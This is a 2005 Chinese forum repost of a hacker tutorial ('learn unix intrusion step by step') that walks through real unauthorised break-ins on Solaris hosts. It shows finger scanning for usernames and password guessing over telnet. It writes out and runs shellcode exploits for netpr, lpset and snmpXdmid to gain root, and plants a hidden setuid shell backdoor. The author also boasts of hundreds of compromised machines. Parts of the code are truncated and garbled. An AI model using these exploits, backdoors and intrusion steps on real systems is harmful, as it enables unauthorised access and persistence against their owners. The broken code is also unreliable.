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标题: 一步一步跟我学unix入侵 [打印本页]

作者: 千與千尋    时间: 2005-4-3 01:19     标题: 一步一步跟我学unix入侵

作者:Lion  曾经的:http://www.cnhonker.com 编者:经常有朋友说想学linux入侵,却无从下手.这个文章应该是讲linux初级入侵最经典的文章了,推荐大家看看. 1 作者序言: 本来很久以前说要写篇sunos 入侵教程的,但一直都没空,也没兴趣写。 说到就要做到。今天有点无聊的感觉,写点东西吧。 不过,这是我的最后一篇入侵教程。 黑来黑去有什么意思呢,我觉得还是写些技术分析的文章好些。 希望新手们看了我的这最后一篇入侵教程,能找到一些感觉。 这只是一篇写给新手的入门教程,不是新手的免看。 ***请不要入侵和破坏国内的网络*** 说明: 因为某些原因,把涉及到的IP全部换成了192.168.0.* 下面是所用到的系统列表的说明: 192.168.0.1     Windows 2000 advanced server 192.168.0.2      Solaris 7 sparc , gcc 192.168.0.3      Solaris 5.6 sparc 192.168.0.4      Solaris 8 sparc 192.168.0.10     irix 6.5.8 192.168.0.20     redhat 6.2 注:Solaris 也就是Sun os,他们的转换是: Solaris 8 = Sunos 5.8,Solaris 7 = Sunos 5.7,Solaris 2.6 =Sunos 5.6,Solaris 2.5 =Sunos 5.5... (你使用的平台最好为NT\Win2000\Linux\Unix,这里我用的是Win2000 ,192.168.0.1) 约定: 文章里面的"(***文字***)"是对该行命令或信息的一些说明。 所用到的工具为: SuperScan 3.0 http://www.cnhonker.com/tmp/SuperScan.zip SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip 里面所用到的有些程序代码请到http://lsd-pl.net/ 或 http://www.hack.co.za 查找。 入侵故事的开始 我喜欢把肉鸡列表放在桌面上,而每次重装系统总是会忘记备份桌面上的东西。 记得有次重装系统丢了500多台各种肉鸡的列表,有时候想起来就觉得心痛,真可惜啊。 M$的东西真是破兼可恶,又一次重装系统完毕,我再一次丢了列表。 幸好,这次的肉鸡不算多,但是我的Gcc,又得重新找,可怜啊。 如果不是这次重装系统,可能这篇教程也不会写了吧。 花点时间找几台机器吧,没机器用可不行啊。 你也跟着我来找找吧。 土办法,要获得第一个帐号,最简单的就是用finger 了。(其实,厚着脸皮向人要是最简单的办法。:)) 扫网段端口用什么好呢,给大家一个介绍。SuperScan 3.0 大家可以在http://www.cnhonker.com/tmp/SuperScan.zip 得到我亲自汉化的3.0版本。 (ps: 有幸与小榕成为同事,得到了一个特殊版本的流光。这里顺便也为他的流光做做广告,我觉得流光对新手来说,流光是 最好的工具了。记得去年9月份自己刚开始学习NT/Win2000的攻击的时候,就常用流光来扫网段,有人说 lion=只会用流 光的家伙,呵呵J其实我已经很久没用过流光了,就是去年9,10月份比较常用些。现在我对新版本的流光感觉很好,功能 很多,里面的很多功能都很不错,特别是finger 探测和猜解,很适合新手使用,大家不妨试试。最新版本的流光可以在 小榕的网站获得:http://www.netxeyes.com 很多人对我的个人情况感兴趣,在这里也顺便说一下我个人的成长经历吧,看了大家别笑哦,其实是这样的: 2000年3月8日到广州实习,开始上网,开始学用IE,用email收发信件; 4月建立了个人网站,当时还只会用木马; 5月学习Sunos 系统的攻击,当时对提升权限等还一窍不通,不过这个月份我发现了www.elong.com的邮件系统绕过口令验 证的严重漏洞; 6月回学校毕业答辩; 7月在广州开始专职搞网页设计; 8月对Sunos 系统攻击有了一定的了解; 9月换了家公司,安装了自己的第一个win2000,并学习使用和尝试攻击; 10月专职于网络安全工作; 11月初碰linux,当时也在学习各种攻击手段和各种系统的攻击方法; 12月建立红客联盟网站。 2001年1月回家过春节; 2月组织攻击日本; 3月慢慢对攻击系统失去了兴趣; 4月在考虑很多东西; 5月组织对美网络反击战,结束后北上北京; 6月枯燥无味的一个月; 7月已经或者将要做几个大的决定。 送给各位网友两句话: "人要靠自己" "我就是我" 其实这两句话也就是我的全部。) 发了一通牢骚,开始我们的学习历程吧。 哦,慢着,新手们先去看看我几个月前写的三篇UNIX入侵教程,看完了再继续。 准备好了吗? 让我们来揭开UNIX神秘的面纱... come on baby... 第一天: 好不容易等到下班。:( 打开SuperScan 3.0,(列表文件没找到错误,可以点击端口设置,再选导入,选好此软件目录里的scanner..lst , 点击完成。)在IP栏中输入你要扫描的网段,建议每次扫描在10个C段以内,在扫描类型中选中"显示主机的响应"一 栏,如果你的网速慢,把"只扫描能ping的主机"也打上勾,选中"所有端口从"那个单选项,然后在框里输入开始和 结束的端口,这里都填"79",也就是finger的端口,最后点"开始"进行扫描。 扫描完成后,点"剪除"去掉没开79端口的主机列表,点"散开"或者点"保存"把结果存为文本文件以便分析扫描结果。 我们通常可以看到如下几种常见的主机响应: 1. ... Line User Host(s) Idle Location.. 2. No one logged on. 3. Login Name TTY Idle When Where.. 4. 其他响应消息或者没有内容。 其中,我们只把2,3这两种的机器找出来。 现在我们开始手工找机器,或者用流光探测finger。 手工找其实也有窍门的,但很难说清楚,这里就一律用 finger 0@ip 来找SunOS的薄弱机器。下面的IP都用xxx.xxx.xxx.xxx代替。 -------------------------------------------------test-------------------------------------------------------------- C:\>finger 0@xxx.xxx.xxx.xxx [xxx.xxx.xxx.xxx] finger: 0: no such user. -------------------------------------------------test-------------------------------------------------------------- 失败,这个系统应该是linux,别灰心,我们继续找。 -------------------------------------------------test-------------------------------------------------------------- C:\>finger 0@xxx.xxx.xxx.xxx [xxx.xxx.xxx.xxx] Login Name TTY Idle When Where daemon ??? bin ??? sys ??? jeffrey ??? pts/0 203.66.149.11 daniel ??? 437 114cm.kcable. jamie ??? 0 203.66.162.68 postgres ??? pts/2 203.66.162.80 nsadmin ??? 768 203.66.19.50 ho ??? 390 61.169.209.106 house18 ??? pts/1 203.66.250.1 tong ??? pts/0 210.226. 42.69 jliu ??? pts/0 203.66.52.87 ptai ??? -------------------------------------------------test-------------------------------------------------------------- 我们需要的就是这种,:)其中,第一列的jeffrey,Daniel,Jamie,postgres等就是这个主机上的用户名,其他的内容都是一 些用户的登陆信息。 现在,我们来测试一下这些帐号的密码强度。(大家最好利用这些用户和一些密码猜解的工具配合来做,不然会感到厌倦的, 不过我以前特别喜欢猜: test:test oracle:oracle ....猜密码的感觉还不错。) -------------------------------------------------test-------------------------------------------------------------- C:\>telnet xxx.xxx.xxx.xxx SunOS 5.6 (***目标系统是SunOS 5.6 也就是Solaris 2.6***) login: ptai (***输入用户名***) Password: **** (***输入密码***) Login incorrect (***登陆失败***) login: jliu Password: Login incorrect $ login: tong Password: Last login: Mon Jul 2 13:21:55 from 210.226. 42.69 (***这个用户上次登陆时的IP***) Sun Microsystems Inc. SunOS 5.6 Generic August 1997 You have mail. (***HOHO~登陆成功啦***) $ uname -a (***查看系统版本和补丁信息***) SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10 $ set (***查看一些系统变量信息***) HOME=/export/home/tong HZ=100 IFS= LOGNAME=tong MAIL=/var/mail/tong MAILCHECK=600 OPTIND=1 PATH=/usr/bin: PS1=$ PS2=> SHELL=/bin/sh TERM=ansi TZ=Hongkong $ gcc gcc: not found (***可恶,没有编译器,我们继续找其他机器吧,等会回来收拾它。***) $ telnet localhost (*** telnet一下本地,以免这个用户下次登陆时一下发现了IP问题***) Trying 127.0.0.1... Connected to localhost. Escape character is ';^]';. SunOS 5.6 login: tong Password: Last login: Wed Jul 4 17:56:09 from 211.99.42.226 Sun Microsystems Inc. SunOS 5.6 Generic August 1997 You have mail. $ exit Connection closed by foreign host. $ exit 遗失对主机的连接。 C:\> -------------------------------------------------test-------------------------------------------------------------- 我们继续猜解,若干时间过后,还不给我找到一个。:) 这台主机的IP用192.168.0.2代替啦。 -------------------------------------------------test-------------------------------------------------------------- C:\>finger 0@192.168.0.2 [192.168.0.2] Login Name TTY Idle When Where daemon ??? bin ??? sys ??? dennis ??? pts/5 pcd209117.netvig oracle ??? pts/5 o2 qwork ??? kenneth1 ??? pts/4 cm61-18-172-213. wing ??? pts/6 11 Wed 18:02 office wilson ??? pts/11 203.66.200.90 srini ??? 363 office eric ??? pts/8 office render7 ??? 62 211.18.109.186 delex ??? render9 ??? 023 office C:\>telnet 192.168.0.2 SunOS 5.7 login: render9 Password: Login incorrect login: delex Password: ********************************************************* # The JRun is now replaced by JServ # To restart the servlet server, please use rs.sh # However, as the JServ will reload those classes # inside the "/usr/proj/gipex/class", you just # need to remove the old class with the new one. ********************************************************* $ w 6:19pm up 61 day(s), 3:40, 3 users, load average: 0.11, 0.07, 0.10 User tty login@ idle JCPU PCPU what root console 4May0161days 2 2 /usr/dt/bin/sdt_shell -c ? u root pts/4 Fri 4pm 5days tail -f syslog delex pts/7 6:19pm w $ uname -a SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10 $w 4:24pm up 62 day(s), 1:45, 3 users, load average: 0.02, 0.02, 0.02 User tty login@ idle JCPU PCPU what root console 4May0162days 2 2 /usr/dt/bin/sdt_shell -c ? u root pts/4 Fri 4pm 6days tail -f syslog $ gcc gcc: No input files -------------------------------------------------test-------------------------------------------------------------- HOHO~终于找到一台有编译器的SunOS啦 现在我们来简单找找前面有没有入侵者。:) -------------------------------------------------test-------------------------------------------------------------- $ ls -al total 14 drwxrwxr-x 2 delex staff 512 Jul 4 18:28 . drwxr-xr-x 35 root root 1024 May 7 10:46 .. -rw-r--r-- 1 delex staff 144 May 2 10:46 .profile -rw------- 1 root staff 320 Jul 4 18:52 .sh_history -rw-r--r-- 1 delex staff 124 May 2 10:46 local.cshrc -rw-r--r-- 1 delex staff 581 May 2 10:46 local.login -rw-r--r-- 1 delex staff 562 May 2 10:46 local.profile $ cat /etc/passwd (***检查/etc/passwd***) root:x:0:1:Super-User:/:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:No Access User:/: nobody4:x:65534:65534:SunOS 4.x Nobody:/: dennis:x:1005:20::/export/home/dennis:/bin/sh oracle:x:1001:100::/export/home/oracle:/bin/sh render7:x:9589:101::/export/home/render7:/bin/sh delex:x:1035:20::/export/home/delex:/bin/sh ac1:x:3000:300:Agent Client 1:/export/home/ac1:/bin/sh ac2:x:3001:300:Agent Client 2:/export/home/ac2:/bin/sh render9:x:9591:101::/export/home/render9:/bin/sh $ ls -al / (***查看根目录是否有.rhosts等文件***) total 381 drwxrwxrwx 35 root root 1024 Jun 29 16:52 . drwxrwxrwx 35 root root 1024 Jun 29 16:52 .. -rw------- 1 root other 152 May 4 14:39 .Xauthority drwxrwxr-x 4 root other 512 Feb 20 10:33 .cpan -rw------- 1 root root 1032 May 4 14:39 .cpr_config -rw-r--r-- 1 root other 947 Apr 14 2000 .desksetdefaults drwxr-xr-x 15 root other 512 Jun 20 13:09 .dt -rwxr-xr-x 1 root other 5111 Apr 13 2000 .dtprofile drwx------ 5 root other 512 Apr 14 2000 .fm drwxr-xr-x 2 root other 512 Apr 13 2000 .hotjava drwxr-xr-x 4 root other 512 Mar 14 17:42 .netscape -rw------- 1 root other 1024 Dec 8 2000 .rnd -rw-rw-r-- 1 nobody staff 402 Jun 12 11:14 .svg drwx------ 2 root other 512 Apr 13 2000 .wastebasket drwx------ 2 root other 512 Apr 13 2000 DeadLetters drwx------ 2 root other 512 Apr 13 2000 Mail drwxr-xr-x 2 root root 512 Apr 13 2000 TT_DB drwxrwxr-x 2 moluk other 512 Dec 25 2000 XYIZNWSK lrwxrwxrwx 1 root root 9 Apr 13 2000 bin -> ./usr/bin drwxr-xr-x 2 root nobody 512 Jun 20 13:19 cdrom -rw------- 1 root other 77 Jun 7 15:03 dead.letter drwxrwxr-x 18 root sys 3584 May 4 14:39 dev drwxrwxr-x 4 root sys 512 Apr 13 2000 devices drwxr-xr-x 9 root root 512 Jun 12 14:47 disk2 drwxr-xr-x 32 root sys 3584 Jul 4 18:53 etc drwxrwxr-x 3 root sys 512 Apr 13 2000 export dr-xr-xr-x 1 root root 1 May 4 14:39 home drwxr-xr-x 9 root sys 512 Dec 20 2000 kernel lrwxrwxrwx 1 root root 9 Apr 13 2000 lib -> ./usr/lib drwx------ 3 root root 8192 Apr 13 2000 lost+found drwxrwxr-x 2 root sys 512 Apr 13 2000 mnt dr-xr-xr-x 1 root root 1 May 4 14:39 net -rw-rw-r-- 1 nobody staff 13 Feb 20 16:53 newsletteradminmail.ost drwx------ 2 root other 512 May 6 2000 nsmail drwxrwxr-x 7 root sys 512 Apr 28 2000 opt drwxr-xr-x 12 root sys 512 Apr 13 2000 platform dr-xr-xr-x 192 root root 126912 Jul 4 19:00 proc drwxrwxr-x 2 root sys 512 Dec 20 2000 sbin drwxrwxr-x 2 root 10 512 Feb 15 14:50 snap drwxrwxrwt 7 sys sys 986 Jul 4 19:00 tmp drwxrwxr-x 29 root sys 1024 May 3 17:32 usr drwxr-xr-x 26 root sys 512 Jun 12 14:49 var dr-xr-xr-x 6 root root 512 May 4 14:39 vol drwxr-xr-x 2 wing 10 512 Nov 6 2000 web dr-xr-xr-x 1 root root 1 Jul 4 18:55 xfn $ find / -user root -perm -4000 -exec ls -al {} \; -r-s--x--x 1 root bin 19564 Sep 1 1998 /usr/lib/lp/bin/netpr -r-sr-xr-x 1 root bin 15260 Oct 6 1998 /usr/lib/fs/ufs/quota -r-sr-sr-x 1 root tty 174352 Nov 6 1998 /usr/lib/fs/ufs/ufsdump -r-sr-xr-x 1 root bin 856064 Nov 6 1998 /usr/lib/fs/ufs/ufsrestore ---s--x--x 1 root bin 4316 Oct 6 1998 /usr/lib/pt_chmod -r-sr-xr-x 1 root bin 8576 Oct 6 1998 /usr/lib/utmp_update -rwsr-xr-x 1 root adm 5304 Sep 1 1998 /usr/lib/acct/accton -r-sr-xr-x 1 root bin 643464 Sep 1 1998 /usr/lib/sendmail ... .... (***结果太多这里省略了,主要是简单找找有没有其他以前的入侵者。***) ... $ps -ef UID PID PPID C STIME TTY TIME CMD root 0 0 0 May 04 ? 0:01 sched root 1 0 0 May 04 ? 1:03 /etc/init - root 2 0 0 May 04 ? 0:01 pageout root 3 0 1 May 04 ? 476:33 fsflush root 225 1 0 May 04 ? 0:01 /usr/lib/utmpd root 115 1 0 May 04 ? 0:01 /usr/sbin/rpcbind root 299 1 0 May 04 ? 0:00 /usr/lib/saf/sac -t 300 root 52 1 0 May 04 ? 0:00 /usr/lib/devfsadm/devfseventd root 54 1 0 May 04 ? 0:00 /usr/lib/devfsadm/devfsadmd root 117 1 0 May 04 ? 0:00 /usr/sbin/keyserv root 239 1 0 May 04 ? 0:13 /usr/lib/inet/xntpd root 142 1 0 May 04 ? 0:11 /usr/sbin/inetd -s root 163 1 0 May 04 ? 2:50 /usr/sbin/in.named root 164 1 0 May 04 ? 0:01 /usr/lib/autofs/automountd daemon 153 1 0 May 04 ? 0:00 /usr/lib/nfs/statd root 275 1 0 May 04 ? 0:01 /usr/lib/nfs/mountd root 152 1 0 May 04 ? 0:00 /usr/lib/nfs/lockd ... ... $ netstat -an|grep LISTEN (***查看有没有可疑端口***) *.111 *.* 0 0 0 0 LISTEN *.21 *.* 0 0 0 0 LISTEN *.23 *.* 0 0 0 0 LISTEN *.514 *.* 0 0 0 0 LISTEN *.513 *.* 0 0 0 0 LISTEN *.512 *.* 0 0 0 0 LISTEN *.540 *.* 0 0 0 0 LISTEN *.79 *.* 0 0 0 0 LISTEN *.37 *.* 0 0 0 0 LISTEN *.7 *.* 0 0 0 0 LISTEN *.9 *.* 0 0 0 0 LISTEN *.13 *.* 0 0 0 0 LISTEN *.19 *.* 0 0 0 0 LISTEN .... $...(***省略了对端口进行的一番测试,看有没有bind suid root shell port ***) ... $ cd /tmp $ ls -al total 1314 drwxrwxrwt 7 sys sys 986 Jul 4 19:00 . drwxrwxrwx 35 root root 1024 Jun 29 16:52 .. drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door -rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class -rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0 -rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb -rw------- 1 render9 render 0 May 8 13:02 mptWaGYf -rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data -rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399 -rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock -rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data $strings /bin/login ... $... (***这里省略了对一些文件的简单测试****) ... -------------------------------------------------test-------------------------------------------------------------- 基本上没发现什么问题,来提升我们的权限吧。:) -------------------------------------------------test-------------------------------------------------------------- $ set EDITOR=vi HOME=/export/home/delex HZ=100 IFS= LD_LIBRARY_PATH=/export/home/software/setadapters/solaris2/cgi-bin/lib: LOGNAME=delex MAIL=/usr/mail/delex MAILCHECK=600 MANPATH=:/usr/share/man:/usr/local/man OPTIND=1 PATH=/usr/bin::/usr/bin:/usr/local/bin:/usr/bin:/usr/ucb:/usr/ccs/bin:/usr/sbin:/usr/local:/usr/local/bin :/export/home/oracle/product/8.1.6/bin PS1=$ PS2=> SHELL=/bin/sh TERM=vt100 TZ=Hongkong _INIT_PREV_LEVEL=S _INIT_RUN_LEVEL=3 _INIT_RUN_NPREV=0 _INIT_UTS_ISA=sparc _INIT_UTS_MACHINE=sun4u _INIT_UTS_NODENAME=develop _INIT_UTS_PLATFORM=SUNW,Ultra-5_10 _INIT_UTS_RELEASE=5.7 _INIT_UTS_SYSNAME=SunOS _INIT_UTS_VERSION=Generic_106541-14 $ uname -a SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10 $ cd /tmp $ cat > test.c (***用cat命令写一个文件***) 2 /*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/ /*## /usr/lib/lp/bin/netpr #*/ /* requires to specify the address of a host with 515 port opened */ #define NOPNUM 4000 #define ADRNUM 1200 #define ALLIGN 3 char shellcode[]= "\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */ "\x7f\xff\xff\xff" /* call */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh" ; char jump[]= "\x81\xc3\xe0\x08" /* jmp %o7+8 */ "\x90\x10\x00\x0e" /* mov %sp,%o0 */ ; static char nop[]="\x80\x1c\x40\x11"; main(int argc,char **argv){ char buffer[10000],adr[4],*b,*envp[2]; int i; printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n"); printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n"); if(argc==1){ printf("usage: %s lpserver\n",argv[0]); exit(-1); } *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000; envp[0]=&buffer[0]; envp[1]=0; b=&buffer[0]; sprintf(b,"xxx="); b+=4; for(i=0;i 192.168.100.10 www1-i1 192.168.100.11 db1 db1-i1 www0-i1 www0 www0.xxwex.com 192.168.100.12 snap1 ## .13 192.168.100.14 snap2 192.168.100.15 snap3 192.168.100.16 www2-i1 mail-i1 192.168.100.17 www2-i2 mail-i2 192.168.100.18 render2 render2-i1 192.168.100.19 render2-i2 ## .20 - .252 192.168.100.253 switch1 ## .254 # /usr/sbin/ping 192.168.100.253 ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2) for icmp from develop (192.168. 0.2) to www1-i1 (192.168.100.253) ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2) for icmp from develop (192.168.0.2) to www1-i1 (192.168.100.253) ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2) for icmp from develop (192.168.0.2) to www1-i1 (192.168.100.253) ^C (***局域网是连通的 ***) # -------------------------------------------------test-------------------------------------------------------------- 以后有空再慢慢搞它的内部网吧 现在先回去把那台SunOS 5.6干掉。 -------------------------------------------------test-------------------------------------------------------------- # cat >lpset.c (***源程序在_lpset">http://lsd-pl.net/files/get?SOLARIS/solsparc_lpset ***) /*## copyright LAST STAGE OF DELIRIUM apr 2000 poland *://lsd-pl.net/ #*/ /*## /usr/bin/lpset #*/ #define NOPNUM 864 #define ADRNUM 132 #define ALLIGN 3 char shellcode[]= "\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */ "\x7f\xff\xff\xff" /* call */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh" ; char jump[]= "\x81\xc3\xe0\x08" /* jmp %o7+8 */ "\x90\x10\x00\x0e" /* mov %sp,%o0 */ ; static char nop[]="\x80\x1c\x40\x11"; main(int argc,char **argv){ char buffer[10000],adr[4],*b; int i; printf("copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/\n"); printf("/usr/bin/lpset for solaris 2.6 2.7 sparc\n\n"); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10088+400; b=buffer; sprintf(b,"xxx="); b+=4; for(i=0;i cd /tmp 250 CWD command successful. ftp> bin (***设置上传模式为二进制***) 200 Type set to I. ftp> put lpset 200 PORT command successful. 150 Binary data connection for lpset (192.168.0.2,49105). 226 Transfer complete. local: lpset remote: lpset 8572 bytes sent in 0.00054 seconds (15617.71 Kbytes/s) ftp> by 221 Goodbye. $ telnet 192.168.0.3 Trying 192.168.0.3... Connected to 192.168.0.3. Escape character is ';^]';. SunOS 5.6 login: tong Password: Last login: Wed Jul 4 20:31:37 from 192.168.0.2 Sun Microsystems Inc. SunOS 5.6 Generic August 1997 You have mail. $ /tmp/lpset /tmp/lpset: cannot execute $ chmod 755 /tmp/lpset $ /tmp/lpset copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/ /usr/bin/lpset for solaris 2.6 2.7 sparc # id uid=107(tong) gid=10(staff) euid=0(root) (***HOHO~死了没?***) #mkdir /usr/lib/... #cp /bin/ksh /usr/lib/.../.x #chmod +s /usr/lib/.../.x #exit $ exit Connection closed by foreign host. (***不管啦,脚印也不擦啦***) $exit 遗失对主机的连接。 C:\> -------------------------------------------------test-------------------------------------------------------------- 哦,怎么不干了?断开连接了?连脚印都不擦? 嘿嘿,兄弟,现在是21:00啦,还要赶地铁呢。本来20:30就要走啦,明天继续吧,管不了那么多啦。大家先回去看我以前 的教程,温习一下该怎么擦PP。为了节省版面,这篇教程不会出现擦PP的啦,自己要懂得擦干净哦。:) 对了,明天要学习远程溢出的利用,然后找几台redhat回来。 回去啦,肚子也饿啦,明天见~~ zzzZZZZZZ~~~~~~~~ 第二天: 嘿嘿,大家早上好~ 今天上班好象有任务要分配,我先去问问。 稍等... 真惨,分配了任务。 不过,是从下个星期开始做。:) 所以今天就写教程吧。 不知道今天能不能写完这份教程呢。 我们继续。:) 昨天讲述了本地提升权限的方法,今天我们来说说远程溢出的利用。 几乎各种操作系统都有严重的远程溢出漏洞。 常见的有: Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6 的rpc.ttdbserverd Solaris 2.5, 2.5.1, 2.6, 7 的 rpc.cmsd solaris 2.6, 7 的 sadmind Solaris 7, 8 的 snmpXdmid Redhat 6.0, 5.1, 4.0 的Amd Redhat 6.2, 6.1, 6.0 的 rpc.statd Redhat 7.0 的 LPRng ... 其它的系统就不在列举了。 除了系统本身存在问题外,还有一些第三方程序存在问题。 比如常见的FTP服务器Wu-ftp,版本2.6.0及以下都存在严重的远程溢出问题 比如DNS 服务器 bind,版本8.2.2及以下版本都存在严重的远程溢出问题。 ... 可以利用的东西太多了,而要掌握这些则需要时间,需要靠经验的积累。 等经验丰富后,入侵一个简单的系统,只要得到对方的系统版本,然后扫描一下端口就足够了。因为这时候你已经对各 种系统和守护进程的弱点有了很详细的了解。 我们这次来尝试进入一台 Solaris 8的机器。 -------------------------------------------------test-------------------------------------------------------------- C:\>telnet 192.168.0.2 SunOS 5.7 login: login: delex Password: ********************************************************* # The JRun is now replaced by JServ # To restart the servlet server, please use rs.sh # However, as the JServ will reload those classes # inside the "/usr/proj/gipex/class", you just # need to remove the old class with the new one. ********************************************************* $ w 9:21am up 61 day(s), 18:42, 2 users, load average: 0.03, 0.04, 0.05 User tty login@ idle JCPU PCPU what root console 4May0162days 2 2 /usr/dt/bin/sdt_shell -c ? u root pts/4 Fri 4pm 6days tail -f syslog delex pts/6 9:21am w $ls -al /usr/lib/... total 202 drwxrwxr-x 2 root staff 512 Jul 5 10:22 . drwxrwxr-x 46 root bin 10240 Jul 4 19:21 .. -r-sr-sr-x 1 root staff 91668 Jul 5 10:22 .x $ id uid=1035(delex) gid=20(staff) $ /usr/lib/.../.x (***运行昨天留下的本地后门直接获得root权限***) # id uid=1035(delex) gid=20(staff) euid=0(root) # cd /tmp # ls -al (***昨天的程序都忘了删呢,走得太急啦,不知道还在不在呢***) total 1410 drwxrwxrwt 7 sys sys 1236 Jul 5 10:20 . drwxrwxrwx 35 root root 1024 Jul 4 19:15 .. drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door -rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class -rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0 -rwxrwxr-x 1 delex staff 8572 Jul 4 20:33 lpset (***HOHO~**) -rw-rw-r-- 1 delex staff 1685 Jul 4 20:32 lpset.c -rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb -rw------- 1 render9 render 0 May 8 13:02 mptWaGYf -rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data -rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399 -rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock -rwxrwxr-x 1 delex staff 8916 Jul 4 19:13 test -rw-rw-r-- 1 delex staff 2019 Jul 4 19:10 test.c -rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data # cat > snmp.c (***源程序在_snmpxdmid">http://lsd-pl.net/files/get?SOLARIS/solsparc_snmpxdmid ***) #include #include #include #include #include #include #include #include #include #define SNMPXDMID_PROG 100249 #define SNMPXDMID_VERS 0x1 #define SNMPXDMID_ADDCOMPONENT 0x101 char findsckcode[]= "\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */ "\x7f\xff\xff\xff" /* call */ "\x33\x02\x12\x34" "\xa0\x10\x20\xff" /* mov 0xff,%l0 */ "\xa2\x10\x20\x54" /* mov 0x54,%l1 */ "\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */ "\xaa\x03\xe0\x28" /* add %o7,40,%l5 */ "\x81\xc5\x60\x08" /* jmp %l5+8 */ "\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */ "\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */ "\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */ "\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */ "\x02\xbf\xff\xfb" /* bz */ "\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */ "\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */ "\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */ "\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */ "\x90\x04\x20\x01" /* add %l0,1,%o0 */ "\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */ "\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */ "\x94\x03\xff\xc4" /* add %o7,-60,%o2 */ "\x82\x10\x20\x36" /* mov 0x36,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x1a\xbf\xff\xf1" /* bcc */ "\xa0\xa4\x20\x01" /* deccc %l0 */ "\x12\xbf\xff\xf5" /* bne */ "\xa6\x10\x20\x03" /* mov 0x03,%l3 */ "\x90\x04\x20\x02" /* add %l0,2,%o0 */ "\x92\x10\x20\x09" /* mov 0x09,%o1 */ "\x94\x04\xff\xff" /* add %l3,-1,%o2 */ "\x82\x10\x20\x3e" /* mov 0x3e,%g1 */ "\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */ "\x12\xbf\xff\xfb" /* bne */ "\x91\xd0\x20\x08" /* ta 8 */ ; char shellcode[]= "\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */ "\x7f\xff\xff\xff" /* call */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* s "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 